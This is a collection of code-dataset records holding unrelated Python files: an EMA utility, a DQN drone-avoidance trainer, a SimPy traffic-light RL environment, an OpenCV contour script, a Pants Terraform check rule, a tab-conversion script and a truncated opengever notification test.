block._clone_variable(self._decay_var)\n decay_pow_acc = layers.elementwise_pow(decay_var, global_steps + 1)\n return decay_pow_acc\n\n def _create_ema_vars(self, param):\n param_ema = layers.create_global_var(\n name=unique_name.generate(self._name + param.name + '_ema'),\n shape=param.shape,\n value=0.0,\n dtype=param.dtype,\n persistable=True)\n\n return param_ema\n\n def update(self):\n \"\"\"\n Update Exponential Moving Average. Should only call this method in\n train program.\n \"\"\"\n param_master_emas = []\n for param, tmp in self._params_tmps:\n with param.block.program._optimized_guard(\n [param, tmp]), name_scope('moving_average'):\n param_ema = self._ema_vars[param.name]\n if param.name + '.master' in self._ema_vars:\n master_ema = self._ema_vars[param.name + '.master']\n param_master_emas.append([param_ema, master_ema])\n else:\n ema_t = param_ema * self._decay_var + param * (\n 1 - self._decay_var)\n layers.assign(input=ema_t, output=param_ema)\n\n # for fp16 params\n for param_ema, master_ema in param_master_emas:\n default_main_program().global_block().append_op(\n type=\"cast\",\n inputs={\"X\": master_ema},\n outputs={\"Out\": param_ema},\n attrs={\n \"in_dtype\": master_ema.dtype,\n \"out_dtype\": param_ema.dtype\n })\n\n @signature_safe_contextmanager\n def apply(self, executor, need_restore=True):\n \"\"\"\n Apply moving average to parameters for evaluation.\n\n Args:\n executor (Executor): The Executor to execute applying.\n need_restore (bool): Whether to restore parameters after applying.\n \"\"\"\n executor.run(self.apply_program)\n try:\n yield\n finally:\n if need_restore:\n self.restore(executor)\n\n def restore(self, executor):\n \"\"\"Restore parameters.\n\n Args:\n executor (Executor): The Executor to execute restoring.\n \"\"\"\n executor.run(self.restore_program)\n","sub_path":"PaddleCV/image_classification/utils/utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":18594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"334911156","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThis script is used for training checkpoints if directly run.\n\"\"\"\nimport random, csv, os, sys, argparse\nfrom tqdm import tqdm\nimport numpy as np\nfrom collections import deque\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.optimizers import Adam\nfrom readCSV import readCSV\n\nEPISODES = 1000\nstate_size = 10\naction_size = 3\npi = np.pi\nparenpath = os.path.join(sys.path[0], '..')\n\nclass DQNAgent:\n def __init__(self, state_size, action_size, filename):\n global memory\n self.state_size = state_size\n self.action_size = action_size\n # self.memory = deque(maxlen=2000)\n self.memory = readCSV(state_size, action_size, filename=filename)\n self.gamma = 0.5 # discount rate\n self.epsilon = 1.0 # exploration rate\n self.epsilon_min = 0.01\n self.epsilon_decay = 0.995\n self.learning_rate = 0.001\n self.model = self._build_model()\n self.loss = 10000\n\n def _build_model(self):\n # Neural Net for Deep-Q learning Model\n model = Sequential()\n model.add(Dense(24, input_dim=self.state_size, activation='relu'))\n model.add(Dense(24, activation='relu'))\n model.add(Dense(self.action_size, activation='linear'))\n model.compile(loss='mse', optimizer=Adam(lr=self.learning_rate))\n return model\n\n def act(self, state, train = True):\n if train and np.random.rand() <= self.epsilon:\n return random.randrange(self.action_size)\n else:\n act_values = self.model.predict(state)\n return np.argmax(act_values[0]) # returns action\n\n def replay(self, batch_size):\n minibatch = random.sample(self.memory, batch_size)\n states, targets_f = [], []\n for i in range(len(minibatch)):\n # for state, action, reward, next_state, done in minibatch:\n row = minibatch[i]\n done = False\n \n state = np.array(row[:10]).reshape([1, -1])\n action = np.array(row[-(self.state_size+2)]).reshape([1, -1])\n reward = row[-(self.state_size+1)]\n\n if reward < -1:\n done = True\n\n target = reward # target represents the Q-value\n if not done:\n next_state = np.array(row[-self.state_size:]).reshape([1, -1])\n if self.loss <= 50:\n target = (reward + self.gamma * np.amax(self.model.predict(next_state)[0]))\n \n target_f = self.model.predict(state)\n target_f[0][int(action)] = target \n # Filtering out states and targets for training\n states.append(state[0])\n targets_f.append(target_f[0])\n history = self.model.fit(np.array(states), np.array(targets_f), epochs=1, verbose=0)\n # Keeping track of loss\n self.loss = history.history['loss'][0]\n if self.epsilon > self.epsilon_min:\n self.epsilon *= self.epsilon_decay\n return self.loss\n\n def load(self, name):\n self.model.load_weights(name)\n\n def save(self, name):\n self.model.save_weights(name)\n\n\nif __name__ == \"__main__\": \n \"\"\"\n The main script is used for training and saving the checkpoints\n \"\"\"\n\n parser = argparse.ArgumentParser(description='Train DQN Based Drone Collision Avoidance')\n parser.add_argument('--dataset', default='traj_weight_R.csv', help='choose dataset for training')\n parser.add_argument('--ckptsave', default='ckpt_weight_R.h5', help='ckpt file to save in ../ckpt folder')\n\n args = parser.parse_args()\n agent = DQNAgent(state_size, action_size, filename = args.dataset)\n memory = agent.memory\n done = False\n batch_size = 32\n\n \n for e in tqdm(range(EPISODES)):\n # state = env.reset()\n state = memory[0][:state_size]\n state = np.reshape(state, [1, state_size])\n for time in range(500):\n if len(agent.memory) > batch_size:\n loss = agent.replay(batch_size)\n # Logging training loss every 10 timesteps\n if time % 10 == 0:\n print(\"episode: {}/{}, time: {}, loss: {:.4f}\".format(e, EPISODES, time, loss)) \n # with open(str(parenpath + \"/assets/loss_3acs.csv\"), 'a+') as file_test: \n # writer = csv.writer(file_test)\n # # step, loss\n # writer.writerow(np.array([e * 500 + time, loss]))\n # if % 10 == 0:\n if loss <= 1:\n agent.save(str(parenpath + \"/ckpt/\" + args.ckptsave))\n","sub_path":"src/dqn_batch.py","file_name":"dqn_batch.py","file_ext":"py","file_size_in_byte":4624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"90034817","text":"import copy\nimport math\nimport sys\nimport itertools\n\nimport numpy as np\n#from gym import spaces\nfrom rllab.spaces import Box, Discrete\n# from sandbox.rocky.tf.spaces import Box, Discrete\nimport simpy\n\n\nfrom gym.utils import colorize, seeding\n\nfrom madrl_environments import AbstractMAEnv, Agent\n\nfrom rltools.util import EzPickle\n\nfrom rllab.envs.env_spec import EnvSpec\n\nimport pdb\n\nimport random\nfrom math import exp\n\n\nT_INTER = [5,6] #[2,15] # Time range for cars entering system\nCAR_INTERSECTION_TIME = 1.0\nCAR_TRAVEL_TIME = 3.0\nCT_DISCOUNT_RATE = math.log(0.9)/(-100.) # decay to 90% in 100 seconds \nMAX_STOP_TIME = 100.\nMIN_STOP_TIME = 2.\nMAX_SIMTIME = math.log(0.005)/(-CT_DISCOUNT_RATE) # actions are 0.1% in discounted value\nWAIT_REWARD_FACTOR = 0.1 # How much does 1 second of wait cost all traffic lights?\nINTERSECTION_CLEARING_TIME = 30.\n\n\n\n## --- SIMPY FUNCTIONS\n\n\ndef car_generator(env,traffic_light_list, direction):\n\t\"\"\"Generate new cars that arrive at the gas station.\"\"\"\n\tglobal car_counter\n\twhile(True):\n\t\tyield env.timeout(random.randint(*T_INTER))\n\t\tenv.process(car('Car %d' % car_counter, env, traffic_light_list, direction))\n\t\tcar_counter+=1\n\n\tenv.exit()\n\ndef car(name, env, traffic_light_list, direction):\n\tstart_time = env.now\n\tfor i, traffic_light in enumerate(traffic_light_list):\n\t\tqueue_len = len(traffic_light.queues[direction].queue)\n\t\tstart_time_in_queue = env.now\n\t\twith traffic_light.queues[direction].request(priority = 1) as req:\n\t\t\tyield req\n\t\t\t# Take some time to get through intersection\n\t\t\tyield env.timeout(CAR_INTERSECTION_TIME)\n\t\t# Give a reward to the traffic light\n\t\ttraffic_light.accrue_reward(1, env.now)\n\t\t# print(name + ' went ' + direction + ' through light %d after waiting %.2f with q-size %d at time %.2f' \\\n\t\t# % (traffic_light.name,env.now-start_time_in_queue, queue_len, env.now))\n\n\t\tyield env.timeout(CAR_TRAVEL_TIME)\n\t\t\n\t\t# Maybe want to send credit to previous stop lights to encourage cooperation?\n\n\tend_time = env.now\n\t# credit all lights passed through equally for wait time\n\tfor traffic_light in traffic_light_list:\n\t\ttraffic_light.accrue_reward( -(end_time - start_time)*WAIT_REWARD_FACTOR, end_time )\n\tenv.exit()\n\ndef who_triggered(event_list):\n\toutput = [False] * len(event_list)\n\tfor i,e in enumerate(event_list):\n\t\ttry:\n\t\t\tif(e.ok):\n\t\t\t\toutput[i] = True\n\t\texcept(AttributeError):\n\t\t\tpass\n\treturn output\n\ndef max_simtime_trigger(env, event):\n\tyield env.timeout(MAX_SIMTIME)\n\tprint('Max simtime reached')\n\tevent.succeed()\n\n\n## --- ED Env\n\nclass TrafficLight(Agent):\n\n\tdef __init__(self, simpy_env, id_num):\n\t\tself.simpy_env = simpy_env\n\t\tself.name = id_num\n\t\tself.queues = {'north': simpy.PriorityResource(simpy_env,1), 'south': simpy.PriorityResource(simpy_env,1),\n\t\t\t'east': simpy.PriorityResource(simpy_env,1), 'west': simpy.PriorityResource(simpy_env,1)}\n\n\t\tself.direction = (random.random() > 0.5) # True is North\n\t\tself.light_change_time = 0.\n\t\tself.accrued_reward = 0.\n\t\tself.time_trigger = -1\n\t\tself.sojourn_time = -1\n\t\treturn\n\n\tdef set_neighboring_lights(self,neighbors):\n\t\tself.neighbors = neighbors # Expecting array [North Neighbor, S.., E.., West Neighbor]\n\n\tdef accrue_reward(self, reward, current_time):\n\t\tlight_change_time = self.light_change_time\n\t\tdelta_t = current_time - light_change_time\n\t\tself.accrued_reward += exp(-delta_t * CT_DISCOUNT_RATE) * reward\n\n\tdef change_traffic(self, event, time_to_allow):\n\n\t\tself.direction = not self.direction\n\n\n\t\tif(self.direction): # allowing NS\n\t\t\twith self.queues['east'].request(priority = 0) as req1:\n\t\t\t\twith self.queues['west'].request(priority = 0) as req2:\n\t\t\t\t\tyield req1 and req2\n\t\t\t\t\tself.time_trigger = self.simpy_env.now + time_to_allow\n\t\t\t\t\tself.sojourn_time = time_to_allow\n\t\t\t\t\tyield self.simpy_env.timeout(time_to_allow)\n\t\t\t\t\tevent.succeed()\n\t\t\t\t\twith self.queues['north'].request(priority = 0) as req1:\n\t\t\t\t\t\twith self.queues['south'].request(priority = 0) as req2:\n\t\t\t\t\t\t\tyield req1 and req2\n\t\t\t\t\t\t\tyield self.simpy_env.timeout(INTERSECTION_CLEARING_TIME)\n\n\n\t\telse: # allowing east west\n\t\t\twith self.queues['north'].request(priority = 0) as req1:\n\t\t\t\twith self.queues['south'].request(priority = 0) as req2:\n\t\t\t\t\tyield req1 and req2\n\t\t\t\t\tself.time_trigger = self.simpy_env.now + time_to_allow\n\t\t\t\t\tself.sojourn_time = time_to_allow\n\t\t\t\t\tyield self.simpy_env.timeout(time_to_allow)\n\t\t\t\t\tevent.succeed()\n\t\t\t\t\twith self.queues['east'].request(priority = 0) as req1:\n\t\t\t\t\t\twith self.queues['west'].request(priority = 0) as req2:\n\t\t\t\t\t\t\tyield req1 and req2\n\t\t\t\t\t\t\tyield self.simpy_env.timeout(INTERSECTION_CLEARING_TIME)\n\n\tdef get_obs(self):\n\t\tif(self.direction):\n\t\t\t# so that TrafficLight Policy always sees the queue they're going to allow first\n\t\t\tout = [ len(self.queues[d].queue) for d in ['north', 'south', 'east', 'west'] ]\n\t\telse:\n\t\t\tout = [ len(self.queues[d].queue) for d in ['east', 'west', 'north', 'south'] ]\n\t\tout = out + [ n.time_remaining if n is not None else MAX_STOP_TIME for n in self.neighbors ]\n\t\tout = out + [self.sojourn_time]\n\t\treturn out\n\n\n\tdef get_reward(self):\n\t\treward = self.accrued_reward\n\t\tself.accrued_reward = 0.\n\t\treturn reward\n\n\t@property\n\tdef time_remaining(self):\n\t\tif(self.direction):\n\t\t\treturn self.time_trigger - self.simpy_env.now\n\t\telse:\n\t\t\treturn -self.time_trigger + self.simpy_env.now\n\n\n\n\t@property\n\tdef observation_space(self):\n\t\t# Each agent observes: \n\t\t\t# num cars in its queue for N,S,E,W (2D in [0,max_cars])\n\t\t\t# time until next decision on its neighbors N,S,E,W (4D in [-max_stop_time,max_stop_time])\n\t\t\t#\t\t-ve means traffic is not being allowed in their direction\n\t\t\t# its own sojourn time (prev-action) (1D) \n\t\tmax_cars = 200 # cars\n\t\tmax_stop_time = MAX_STOP_TIME # seconds\n\t\tmin_stop_time = MIN_STOP_TIME # seconds\n\t\treturn Box( np.array([0]*4 + [-max_stop_time]*4 + [min_stop_time]), \n\t\t\t\t\tnp.array([max_cars]*4 + [max_stop_time]*5) )\n\n\t@property\n\tdef action_space(self):\n\t\t# Actions oscillate between allowing N/S traffic and E/W traffic, \n\t\t# the action is the amount of time to allow traffic through\n\t\tmax_stop_time = MAX_STOP_TIME # seconds\n\t\tmin_stop_time = MIN_STOP_TIME # seconds\n\t\treturn Box( np.array([min_stop_time]), np.array([max_stop_time]))\n\n\n\nclass TrafficLightEnv(AbstractMAEnv, EzPickle):\n\n\n\tdef __init__(self):\n\t\t\n\t\tself.discount = CT_DISCOUNT_RATE\n\n\t\tnum_row_col = 1\n\n\t\tself.n_agents = num_row_col ** 2\n\t\tself.max_stop_time = 100 # seconds\n\t\tself.min_stop_time = 2 # seconds\n\t\t# specify connectivity as East to West across row, North to South across column\n\t\tself.connectivity = np.array(list(range(self.n_agents))).reshape((num_row_col,num_row_col))\n\n\t\t# Assigned on reset()\n\t\tself.env_agents = [None for _ in range(self.n_agents)] # NEEDED\n\t\tself.simpy_env = None\n\t\tself.agent_event_list = [None]* self.n_agents\n\n\n\t\tEzPickle.__init__(self)\n\t\tself.seed()\n\t\tself.reset()\n\n\tdef reset(self):\n\n\t\tglobal car_counter\n\t\tcar_counter = 0\n\n\t\tself.simpy_env = simpy.Environment()\n\t\tenv = self.simpy_env\n\t\tself.env_agents = [TrafficLight(env, i) for i in range(self.n_agents)]\n\n\t\tself.max_simtime_event = simpy.Event(self.simpy_env)\n\t\tself.simpy_env.process( max_simtime_trigger(self.simpy_env, self.max_simtime_event) )\n\n\t\t# Set neighboring lights\n\t\tfor i in range(self.connectivity.shape[0]):\n\t\t\tfor j in range(self.connectivity.shape[1]):\n\t\t\t\tnorth = self.env_agents[self.connectivity[i-1,j]] if i > 0 else None\n\t\t\t\tsouth = self.env_agents[self.connectivity[i+1,j]] if i < self.connectivity.shape[0]-1 else None\n\t\t\t\teast = self.env_agents[self.connectivity[i,j-1]] if j > 0 else None\n\t\t\t\twest = self.env_agents[self.connectivity[i,j+1]] if j < self.connectivity.shape[1]-1 else None\n\t\t\t\tself.env_agents[self.connectivity[i,j]].set_neighboring_lights([north,south,east,west])\n\n\t\t# Car generators\n\t\tfor i in range(self.connectivity.shape[0]):\n\t\t\ttraffic_light_list = [self.env_agents[j] for j in self.connectivity[i,:].tolist() ]\n\n\t\t\t# East-bound\n\t\t\tenv.process(car_generator(env, traffic_light_list,'east'))\n\t\t\t# West-bound\n\t\t\tenv.process(car_generator(env, traffic_light_list[::-1],'west'))\n\n\t\tfor i in range(self.connectivity.shape[1]):\n\t\t\ttraffic_light_list = [self.env_agents[j] for j in self.connectivity[:,i].tolist() ]\n\n\t\t\t# South-bound\n\t\t\tenv.process(car_generator(env, traffic_light_list,'south'))\n\t\t\t# North-bound\n\t\t\tenv.process(car_generator(env, traffic_light_list[::-1],'north'))\n\n\n\t\t# Call this with initial actions\n\t\ttime_range = 4\n\t\treturn self.step( (np.random.rand(self.n_agents, 1) * time_range + self.min_stop_time).tolist() )[0]\n\n\tdef step(self, actions):\n\n\t\t# Takes an action set, outputs next observations, accumulated reward, done (boolean), info\n\n\t\t# Convention is:\n\t\t# If an agent is to act on this event, pass an observation and accumulated reward,\n\t\t# otherwise, pass None\n\t\t# \"obs\" variable will look like: [ [None], [None], [o3_t], [None], [o5_t] ]\n\t\t# \"rewards\" will look like: [ None , None , r3_r , None , r5_t ]\n\t\t# The action returned by the (decentralized) policy will look like\n\t\t# [ None , None , a3_t , None , a5_t ]\n\n\t\tfor i, a in enumerate(actions):\n\t\t\tif a is not None: \n\t\t\t\t# need to bound action\n\t\t\t\taction = max( min(a[0], MAX_STOP_TIME), MIN_STOP_TIME )\n\t\t\t\tevent = simpy.Event(self.simpy_env)\n\t\t\t\tself.agent_event_list[i] = event\n\t\t\t\tself.simpy_env.process(self.env_agents[i].change_traffic(event, action))\n\n\t\tself.simpy_env.run(until = simpy.AnyOf(self.simpy_env, self.agent_event_list + [self.max_simtime_event]))\n\n\t\twhotriggered = who_triggered(self.agent_event_list)\n\n\t\t# Get next_obs, rewards\n\t\t\n\n\t\t# Check if max_simtime_reached\n\t\ttry:\n\t\t\tself.max_simtime_event.ok\n\t\t\tdone = True\n\t\t\tobs = [ e.get_obs() for e in self.env_agents ]\n\t\t\trewards = [ e.get_reward() for e in self.env_agents ]\n\t\texcept(AttributeError):\n\t\t\tdone = False\n\t\t\tobs = [ self.env_agents[i].get_obs() if w else [None] for i, w in enumerate(whotriggered) ]\n\t\t\trewards = [ self.env_agents[i].get_reward() if w else None for i, w in enumerate(whotriggered) ]\n\n\n\n\t\treturn obs, rewards, done, {}\n\n\n\t@property\n\tdef spec(self):\n\t\treturn EnvSpec(\n\t\t\tobservation_space=self.env_agents[0].observation_space,\n\t\t\taction_space=self.env_agents[0].action_space,\n\t\t)\n\n\t@property\n\tdef observation_space(self):\n\t\treturn self.env_agents[0].observation_space\n\n\t@property\n\tdef action_space(self):\n\t\treturn self.env_agents[0].action_space\n\n\tdef log_diagnostics(self, paths):\n\t\t\"\"\"\n\t\tLog extra information per iteration based on the collected paths\n\t\t\"\"\"\n\t\tpass\n\n\t@property\n\n\t@property\n\tdef reward_mech(self):\n\t\treturn self._reward_mech\n\n\t@property\n\tdef agents(self):\n\t\treturn self.env_agents\n\n\tdef seed(self, seed=None):\n\t\tself.np_random, seed_ = seeding.np_random(seed)\n\t\treturn [seed_]\n\n\tdef terminate(self):\n\t\treturn\n\n\n\nif __name__ == \"__main__\":\n\n\t# TLE = TrafficLightEnv()\n\n\t# print('Resetting...')\n\n\t# obs = TLE.reset()\n\t# print('Obs: ', obs)\n\n\n\t# for i in range(3):\n\t# \tobs, rewards, _, _ = TLE.step( [np.array([2]) if o != [None] else None for o in obs] )\n\t# \tprint('Obs: ', obs)\n\t# \tprint('Reward: ', rewards)\n\n\t# quit()\n\n\n\tfrom sandbox.rocky.tf.policies.gaussian_mlp_policy import GaussianMLPPolicy\n\tfrom sandbox.rocky.tf.policies.categorical_gru_policy import CategoricalGRUPolicy\n\tfrom sandbox.rocky.tf.core.network import MLP\n\tfrom sandbox.rocky.tf.envs.base import TfEnv\n\tfrom sandbox.rocky.tf.algos.trpo import TRPO\n\tfrom rllab.baselines.linear_feature_baseline import LinearFeatureBaseline\n\tfrom EDFirestorm.EDhelpers import GSMDPBatchSampler, GSMDPCategoricalGRUPolicy, GSMDPGaussianGRUPolicy\n\tfrom sandbox.rocky.tf.optimizers.conjugate_gradient_optimizer import (ConjugateGradientOptimizer,\n FiniteDifferenceHvp)\n\timport tensorflow as tf\n\n\timport rllab.misc.logger as logger\n\n\tenv = TrafficLightEnv()\n\tenv = TfEnv(env)\n\n\t# logger.add_tabular_output('./ED_driving_GRU.log')\n\n\t# feature_network = MLP(name='feature_net', input_shape=(\n\t# \t\t\t\tenv.spec.observation_space.flat_dim + env.spec.action_space.flat_dim,),\n\t# \t\t\t\t\t\t\t\t\toutput_dim=7,\n\t# \t\t\t\t\t\t\t\t\thidden_nonlinearity=tf.nn.tanh,\n\t# \t\t\t\t\t\t\t\t\thidden_sizes=(32, 32), output_nonlinearity=None)\n\n\t# policy = GSMDPGaussianGRUPolicy(feature_network = feature_network, env_spec=env.spec, name = \"policy\")\n\tpolicy = GaussianMLPPolicy(env_spec=env.spec, name = \"policy\")\n\tbaseline = LinearFeatureBaseline(env_spec=env.spec)\n\talgo = TRPO(\n\t\tenv=env,\n\t\tpolicy=policy,\n\t\tbaseline=baseline,\n\t\tn_itr=75,\n\t\tmax_path_length=100000,\n\t\tdiscount=CT_DISCOUNT_RATE,\n\n\t\t# optimizer=ConjugateGradientOptimizer(\n # hvp_approach=FiniteDifferenceHvp(base_eps=1e-5)),\n\t\tsampler_cls = GSMDPBatchSampler\n\t)\n\n\talgo.train()\n\n\n\n\n","sub_path":"FirestormProject/OldEnvs/traffic_light_env.py","file_name":"traffic_light_env.py","file_ext":"py","file_size_in_byte":12660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"419347420","text":"import cv2\r\nimport numpy as np\r\ncap = cv2.VideoCapture(0)\r\nwhile(1):\r\n\r\n # Take each frame\r\n _, frame = cap.read()\r\n cv2.imshow('frame', frame)\r\n k = cv2.waitKey(5)\r\n if k==27:\r\n cv2.imwrite(\"F:\\capture.png\",frame)\r\n break\r\n\r\n\r\ngray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\r\nblurred = cv2.GaussianBlur(gray, (5, 5), 0)\r\nthresh = cv2.threshold(blurred, 60, 255, cv2.THRESH_BINARY)[1]\r\ncv2.imshow(\"thresh\",thresh)\r\n\r\nimage, contours, hierarchy = cv2.findContours(thresh,cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)\r\ncnt = cv2.drawContours(frame, contours, -1,(0,255,0), 3)\r\ncv2.imshow('cnt',cnt)\r\n\r\n# create hull array for convex hull points\r\nhull = []\r\n \r\n# calculate points for each contour\r\nfor i in range(len(contours)):\r\n # creating convex hull object for each contour\r\n hull.append(cv2.convexHull(contours[i], False))\r\n\r\n# create an empty black image\r\ndrawing = np.zeros((thresh.shape[0], thresh.shape[1], 3), np.uint8)\r\n \r\n# draw contours and hull points\r\nfor i in range(len(contours)):\r\n color_contours = (0, 255, 0) # green - color for contours\r\n color = (255, 0, 0) # blue - color for convex hull\r\n # draw ith contour\r\n cv2.drawContours(drawing, contours, i, color_contours, 1, 8, hierarchy)\r\n # draw ith convex hull object\r\n cv2.drawContours(drawing, hull, i, color, 1, 8)\r\n\r\ndefects = cv2.convexityDefects(cnt,drawing)\r\nfor i in range(defects.shape[0]):\r\n s,e,f,d = defects[i,0]\r\n start = tuple(cnt[s][0])\r\n end = tuple(cnt[e][0])\r\n far = tuple(cnt[f][0])\r\n cv2.line(frame,start,end,[0,255,0],2)\r\n cv2.circle(frame,far,5,[0,0,255],-1)\r\n\r\ncv2.imshow('img',frame)\r\n","sub_path":"opencv/5. drawing contours.py","file_name":"5. drawing contours.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"471663537","text":"# Copyright 2021 Pants project contributors (see CONTRIBUTORS.md).\n# Licensed under the Apache License, Version 2.0 (see LICENSE).\n\nfrom pants.backend.terraform.dependency_inference import (\n GetTerraformDependenciesRequest,\n TerraformDependencies,\n)\nfrom pants.backend.terraform.partition import partition_files_by_directory\nfrom pants.backend.terraform.target_types import TerraformFieldSet\nfrom pants.backend.terraform.tool import TerraformProcess\nfrom pants.core.goals.check import CheckRequest, CheckResult, CheckResults\nfrom pants.core.util_rules.source_files import SourceFiles, SourceFilesRequest\nfrom pants.engine.internals.native_engine import Digest, MergeDigests\nfrom pants.engine.internals.selectors import Get, MultiGet\nfrom pants.engine.process import FallibleProcessResult\nfrom pants.engine.rules import collect_rules, rule\nfrom pants.engine.unions import UnionRule\nfrom pants.option.option_types import SkipOption\nfrom pants.option.subsystem import Subsystem\nfrom pants.util.strutil import pluralize\n\n\nclass TerraformValidateSubsystem(Subsystem):\n options_scope = \"terraform-validate\"\n name = \"`terraform validate`\"\n help = \"\"\"Terraform validate options.\"\"\"\n\n skip = SkipOption(\"check\")\n\n\nclass TerraformCheckRequest(CheckRequest):\n field_set_type = TerraformFieldSet\n tool_name = TerraformValidateSubsystem.options_scope\n\n\n@rule\nasync def terraform_check(\n request: TerraformCheckRequest, subsystem: TerraformValidateSubsystem\n) -> CheckResults:\n if subsystem.skip:\n return CheckResults([], checker_name=request.tool_name)\n\n source_files = await Get(\n SourceFiles, SourceFilesRequest([field_set.sources for field_set in request.field_sets])\n )\n files_by_directory = partition_files_by_directory(source_files.files)\n\n fetched_deps = await Get(\n TerraformDependencies,\n GetTerraformDependenciesRequest(source_files, tuple(files_by_directory.keys())),\n )\n # just merge them all for now. This will probably be a problem with multiple TF sources requesting different versions of the same providers\n merged_fetched_deps = await Get(Digest, MergeDigests([x[1] for x in fetched_deps.fetched_deps]))\n\n sources_and_deps = await Get(\n Digest, MergeDigests([source_files.snapshot.digest, merged_fetched_deps])\n )\n\n results = await MultiGet(\n Get(\n FallibleProcessResult,\n TerraformProcess(\n args=(\"validate\",),\n input_digest=sources_and_deps,\n output_files=tuple(files),\n description=f\"Run `terraform fmt` on {pluralize(len(files), 'file')}.\",\n chdir=directory,\n ),\n )\n for directory, files in files_by_directory.items()\n )\n\n check_results = []\n for directory, result in zip(files_by_directory, results):\n check_results.append(\n CheckResult.from_fallible_process_result(\n result, partition_description=f\"`terraform validate` on `{directory}`\"\n )\n )\n\n return CheckResults(check_results, checker_name=request.tool_name)\n\n\ndef rules():\n return (\n *collect_rules(),\n UnionRule(CheckRequest, TerraformCheckRequest),\n )\n","sub_path":"src/python/pants/backend/terraform/goals/check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":3227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"416771755","text":"import sys\nimport re\n\ndef space_to_tabs(file_name):\n\tfile = open(file_name, 'r+')\n\tlines = file.readlines()\n\t\n\tp = re.compile('^[ \\t]*')\n\tfor i, line in enumerate(lines[:]):\n\t\tspaces = len(p.findall(line)[0]) \n\t\tlines[i] = '\\t' * spaces + line[spaces:]\n\t\t\t\n\tfile.seek(0)\n\tfile.writelines(lines) \n\tfile.close()\n\tprint(file_name, 'is now fixed')\n\t\nif sys.argv[1:]:\n\tfor arg in sys.argv[1:]:\n\t\tspace_to_tabs(arg)\nelse:\n\tname = input('File name: ')\n\tspace_to_tabs(name)\n","sub_path":"space_to_tabs.py","file_name":"space_to_tabs.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"163188002","text":"from ftw.builder import Builder\nfrom ftw.builder import create\nfrom opengever.activity import notification_center\nfrom opengever.activity.model import Activity\nfrom opengever.activity.model import Resource\nfrom opengever.activity.roles import DISPOSITION_ARCHIVIST_ROLE\nfrom opengever.activity.roles import DISPOSITION_RECORDS_MANAGER_ROLE\nfrom opengever.base.behaviors.lifecycle import ARCHIVAL_VALUE_UNWORTHY\nfrom opengever.base.behaviors.lifecycle import ARCHIVAL_VALUE_WORTHY\nfrom opengever.core.testing import OPENGEVER_FUNCTIONAL_ACTIVITY_LAYER\nfrom opengever.ogds.base.actor import Actor\nfrom opengever.testing import FunctionalTestCase\nfrom plone import api\nfrom plone.app.testing import TEST_USER_ID\n\n\nclass TestDispositionNotifications(FunctionalTestCase):\n\n layer = OPENGEVER_FUNCTIONAL_ACTIVITY_LAYER\n\n def setUp(self):\n super(TestDispositionNotifications, self).setUp()\n\n self.hugo = create(Builder('user')\n .named('Hugo', 'Boss')\n .with_roles('Contributor', 'Archivist'))\n self.peter = create(Builder('user')\n .named('Peter', 'Boss')\n .with_roles('Contributor'))\n self.hans = create(Builder('user')\n .named('Hans', 'Boss')\n .with_roles('Contributor', 'Archivist'))\n\n self.center = notification_center()\n self.actor_link = Actor.lookup(TEST_USER_ID).get_link()\n\n def test_creator_and_all_archivist_are_registered_as_watchers(self):\n acl_users = api.portal.get_tool('acl_users')\n role_manager = acl_users.get('portal_role_manager')\n role_manager.assignRoleToPrincipal(\n 'Archivist', self.org_unit.inbox_group.groupid)\n\n create(Builder('ogds_user')\n .id('peter.meier')\n .having(firstname='peter', lastname='meier',\n email='meier@example.com')\n .assign_to_org_units([self.org_unit])\n .in_group(self.org_unit.inbox_group))\n\n create(Builder('disposition'))\n\n resource = Resource.query.one()\n\n archivist_watchers = [\n sub.watcher.actorid for sub in resource.subscriptions\n if sub.role == DISPOSITION_ARCHIVIST_ROLE]\n records_manager_watchers = [\n sub.watcher.actorid for sub in resource.subscriptions\n if sub.role == DISPOSITION_RECORDS_MANAGER_ROLE]\n\n self.assertItemsEqual([TEST_USER_ID], records_manager_watchers)\n self.assertItemsEqual(\n [TEST_USER_ID, u'hugo.boss', u'hans.boss', u'peter.meier'],\n archivist_watchers)\n\n def test_added_activity_is_recorded_when_a_disposition_is_created(self):\n create(Builder('disposition').titled(u'Angebot 13.49'))\n\n activity = Activity.query.one()\n self.assertEquals('disposition-added', activity.kind)\n self.assertEquals(\n u'New disposition added by Test User on admin unit Client1',\n activity.summary)\n self.assertEquals(u'Disposition added', activity.label)\n self.assertIsNone(activity.description)\n self.assertEquals(u'Angebot 13.49', activity.title)\n\n def test_appraise_activity_is_recorded(self):\n self.grant('Archivist')\n disposition = create(Builder('disposition'))\n api.content.transition(disposition,\n transition='disposition-transition-appraise')\n\n activity = Activity.query.all()[-1]\n self.assertEquals('disposition-transition-appraise', activity.kind)\n self.assertEquals(\n u'Appraisal finalized by {}'.format(self.actor_link),\n activity.summary)\n self.assertEquals(u'disposition-transition-appraise', activity.label)\n self.assertIsNone(activity.description)\n\n def test_dispose_activity_is_recorded(self):\n self.grant('Records Manager')\n dossier = create(Builder('dossier')\n .as_expired()\n .having(archival_value=ARCHIVAL_VALUE_WORTHY))\n\n disposition = create(Builder('disposition')\n .having(dossiers=[dossier])\n .in_state('disposition-state-appraised'))\n api.content.transition(disposition,\n transition='disposition-transition-dispose')\n\n activity = Activity.query.all()[-1]\n self.assertEquals('disposition-transition-dispose', activity.kind)\n self.assertEquals(\n u'Disposition disposed for the archive by {}'.format(self.actor_link),\n activity.summary)\n self.assertEquals(u'disposition-transition-dispose', activity.label)\n self.assertIsNone(activity.description)\n\n def test_appraised_to_close_activity_is_recorded(self):\n self.grant('Records Manager')\n dossier = create(Builder('dossier')\n .as_expired()\n 